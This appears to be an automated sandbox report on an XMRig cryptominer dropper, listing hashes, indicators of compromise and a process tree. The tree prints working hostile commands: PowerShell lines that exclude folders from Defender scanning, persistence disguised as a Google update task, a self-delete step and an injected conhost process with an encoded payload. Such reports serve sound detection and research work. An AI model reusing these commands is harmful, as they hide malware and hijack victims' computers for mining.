xmrig | cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

max time kernel
1804s
max time network
1797s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
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04/05/2023, 10:10

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General

Target

qM5GMXBk6hJE6Y5e.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 620 created 1292	620	qM5GMXBk6hJE6Y5e.exe	28
PID 620 created 1292	620	qM5GMXBk6hJE6Y5e.exe	28
PID 620 created 1292	620	qM5GMXBk6hJE6Y5e.exe	28
PID 620 created 1292	620	qM5GMXBk6hJE6Y5e.exe	28
PID 4308 created 1292	4308	updater.exe	28
PID 4308 created 1292	4308	updater.exe	28
PID 4308 created 1292	4308	updater.exe	28
PID 4308 created 1292	4308	updater.exe	28
PID 816 created 1292	816	conhost.exe	28
PID 4308 created 1292	4308	updater.exe	28

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral2/memory/1104-248-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-251-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-255-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-259-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-265-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-267-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-269-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-271-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-273-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-275-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-277-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-279-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-281-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-287-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-289-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-291-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-293-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-295-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-297-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-299-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-301-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-303-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-305-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-307-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-309-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-311-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-313-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-315-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-317-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig
behavioral2/memory/1104-319-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
4308	updater.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1104-248-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-251-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-255-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-259-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-265-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-267-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-269-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-271-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-273-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-275-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-277-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-279-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-281-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-287-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-289-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-291-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-293-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-295-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-297-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-299-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-301-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-303-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-305-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-307-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-309-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-311-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-313-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-315-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-317-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx
behavioral2/memory/1104-319-0x00007FF62B290000-0x00007FF62BA84000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4308 set thread context of 816	4308	updater.exe	106
PID 4308 set thread context of 1104	4308	updater.exe	112

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
620	qM5GMXBk6hJE6Y5e.exe
620	qM5GMXBk6hJE6Y5e.exe
3440	powershell.exe
3440	powershell.exe
620	qM5GMXBk6hJE6Y5e.exe
620	qM5GMXBk6hJE6Y5e.exe
748	powershell.exe
748	powershell.exe
620	qM5GMXBk6hJE6Y5e.exe
620	qM5GMXBk6hJE6Y5e.exe
620	qM5GMXBk6hJE6Y5e.exe
620	qM5GMXBk6hJE6Y5e.exe
2056	powershell.exe
2056	powershell.exe
4308	updater.exe
4308	updater.exe
2260	powershell.exe
2260	powershell.exe
4308	updater.exe
4308	updater.exe
632	powershell.exe
632	powershell.exe
4308	updater.exe
4308	updater.exe
4308	updater.exe
4308	updater.exe
816	conhost.exe
816	conhost.exe
4308	updater.exe
4308	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
648	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3440	powershell.exe
Token: SeDebugPrivilege	748	powershell.exe
Token: SeIncreaseQuotaPrivilege	748	powershell.exe
Token: SeSecurityPrivilege	748	powershell.exe
Token: SeTakeOwnershipPrivilege	748	powershell.exe
Token: SeLoadDriverPrivilege	748	powershell.exe
Token: SeSystemProfilePrivilege	748	powershell.exe
Token: SeSystemtimePrivilege	748	powershell.exe
Token: SeProfSingleProcessPrivilege	748	powershell.exe
Token: SeIncBasePriorityPrivilege	748	powershell.exe
Token: SeCreatePagefilePrivilege	748	powershell.exe
Token: SeBackupPrivilege	748	powershell.exe
Token: SeRestorePrivilege	748	powershell.exe
Token: SeShutdownPrivilege	748	powershell.exe
Token: SeDebugPrivilege	748	powershell.exe
Token: SeSystemEnvironmentPrivilege	748	powershell.exe
Token: SeRemoteShutdownPrivilege	748	powershell.exe
Token: SeUndockPrivilege	748	powershell.exe
Token: SeManageVolumePrivilege	748	powershell.exe
Token: 33	748	powershell.exe
Token: 34	748	powershell.exe
Token: 35	748	powershell.exe
Token: 36	748	powershell.exe
Token: SeIncreaseQuotaPrivilege	748	powershell.exe
Token: SeSecurityPrivilege	748	powershell.exe
Token: SeTakeOwnershipPrivilege	748	powershell.exe
Token: SeLoadDriverPrivilege	748	powershell.exe
Token: SeSystemProfilePrivilege	748	powershell.exe
Token: SeSystemtimePrivilege	748	powershell.exe
Token: SeProfSingleProcessPrivilege	748	powershell.exe
Token: SeIncBasePriorityPrivilege	748	powershell.exe
Token: SeCreatePagefilePrivilege	748	powershell.exe
Token: SeBackupPrivilege	748	powershell.exe
Token: SeRestorePrivilege	748	powershell.exe
Token: SeShutdownPrivilege	748	powershell.exe
Token: SeDebugPrivilege	748	powershell.exe
Token: SeSystemEnvironmentPrivilege	748	powershell.exe
Token: SeRemoteShutdownPrivilege	748	powershell.exe
Token: SeUndockPrivilege	748	powershell.exe
Token: SeManageVolumePrivilege	748	powershell.exe
Token: 33	748	powershell.exe
Token: 34	748	powershell.exe
Token: 35	748	powershell.exe
Token: 36	748	powershell.exe
Token: SeIncreaseQuotaPrivilege	748	powershell.exe
Token: SeSecurityPrivilege	748	powershell.exe
Token: SeTakeOwnershipPrivilege	748	powershell.exe
Token: SeLoadDriverPrivilege	748	powershell.exe
Token: SeSystemProfilePrivilege	748	powershell.exe
Token: SeSystemtimePrivilege	748	powershell.exe
Token: SeProfSingleProcessPrivilege	748	powershell.exe
Token: SeIncBasePriorityPrivilege	748	powershell.exe
Token: SeCreatePagefilePrivilege	748	powershell.exe
Token: SeBackupPrivilege	748	powershell.exe
Token: SeRestorePrivilege	748	powershell.exe
Token: SeShutdownPrivilege	748	powershell.exe
Token: SeDebugPrivilege	748	powershell.exe
Token: SeSystemEnvironmentPrivilege	748	powershell.exe
Token: SeRemoteShutdownPrivilege	748	powershell.exe
Token: SeUndockPrivilege	748	powershell.exe
Token: SeManageVolumePrivilege	748	powershell.exe
Token: 33	748	powershell.exe
Token: 34	748	powershell.exe
Token: 35	748	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 4504	2156	cmd.exe	98
PID 2156 wrote to memory of 4504	2156	cmd.exe	98
PID 2056 wrote to memory of 1516	2056	powershell.exe	99
PID 2056 wrote to memory of 1516	2056	powershell.exe	99
PID 4308 wrote to memory of 816	4308	updater.exe	106
PID 1648 wrote to memory of 1916	1648	cmd.exe	111
PID 1648 wrote to memory of 1916	1648	cmd.exe	111
PID 4308 wrote to memory of 1104	4308	updater.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1292
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1516
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:4504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:632
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:816
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1108
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    PID:1916
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:1104

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4308

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

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C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

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C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

